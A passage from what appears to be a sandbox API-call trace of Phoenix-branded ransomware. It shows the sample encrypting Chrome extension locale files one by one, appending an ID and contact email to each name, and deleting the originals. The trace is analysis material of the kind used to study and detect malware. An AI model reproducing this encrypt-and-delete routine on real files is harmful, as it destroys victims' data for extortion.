	[0259.548] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.548] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.548] CryptDestroyKey (hKey=0x151100) returned 1
	[0259.548] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.548] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.548] CloseHandle (hObject=0x240) returned 1
	[0259.548] CloseHandle (hObject=0x250) returned 1
	[0259.549] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json")) returned 1
	[0259.550] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.550] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.550] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=257) returned 1
	[0259.550] CloseHandle (hObject=0x250) returned 1
	[0259.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json")) returned 0x20
	[0259.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.551] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.551] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.551] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.551] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.551] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151480) returned 1
	[0259.551] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.551] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x101, lpOverlapped=0x0) returned 1
	[0259.552] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0259.553] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0259.554] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0259.554] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.554] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.554] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.554] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.555] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.555] CloseHandle (hObject=0x250) returned 1
	[0259.555] CloseHandle (hObject=0x240) returned 1
	[0259.555] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json")) returned 1
	[0259.556] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.556] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.557] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=246) returned 1
	[0259.557] CloseHandle (hObject=0x240) returned 1
	[0259.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json")) returned 0x20
	[0259.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.557] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.557] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.558] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0259.558] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.558] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xf6, lpOverlapped=0x0) returned 1
	[0259.559] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0259.559] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0259.560] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0259.560] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.560] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.560] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.560] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.561] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.561] CloseHandle (hObject=0x240) returned 1
	[0259.561] CloseHandle (hObject=0x250) returned 1
	[0259.561] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json")) returned 1
	[0259.562] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.562] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.562] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=264) returned 1
	[0259.563] CloseHandle (hObject=0x250) returned 1
	[0259.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json")) returned 0x20
	[0259.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.563] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.563] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.563] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.563] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.564] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0259.564] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.564] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x108, lpOverlapped=0x0) returned 1
	[0259.565] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0259.565] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0259.567] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151480) returned 1
	[0259.567] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.567] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.567] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.567] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.568] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.568] CloseHandle (hObject=0x250) returned 1
	[0259.568] CloseHandle (hObject=0x240) returned 1
	[0259.568] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json")) returned 1
	[0259.570] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.570] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.570] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=281) returned 1
	[0259.570] CloseHandle (hObject=0x240) returned 1
	[0259.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json")) returned 0x20
	[0259.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.570] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.571] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.571] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.571] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.571] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0259.571] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.571] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x119, lpOverlapped=0x0) returned 1
	[0259.788] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0259.788] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0259.789] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0259.789] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.789] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.789] CryptDestroyKey (hKey=0x151100) returned 1
	[0259.789] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.816] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.816] CloseHandle (hObject=0x240) returned 1
	[0259.816] CloseHandle (hObject=0x250) returned 1
	[0259.816] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json")) returned 1
	[0259.817] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.817] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.818] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=274) returned 1
	[0259.818] CloseHandle (hObject=0x250) returned 1
	[0259.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json")) returned 0x20
	[0259.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
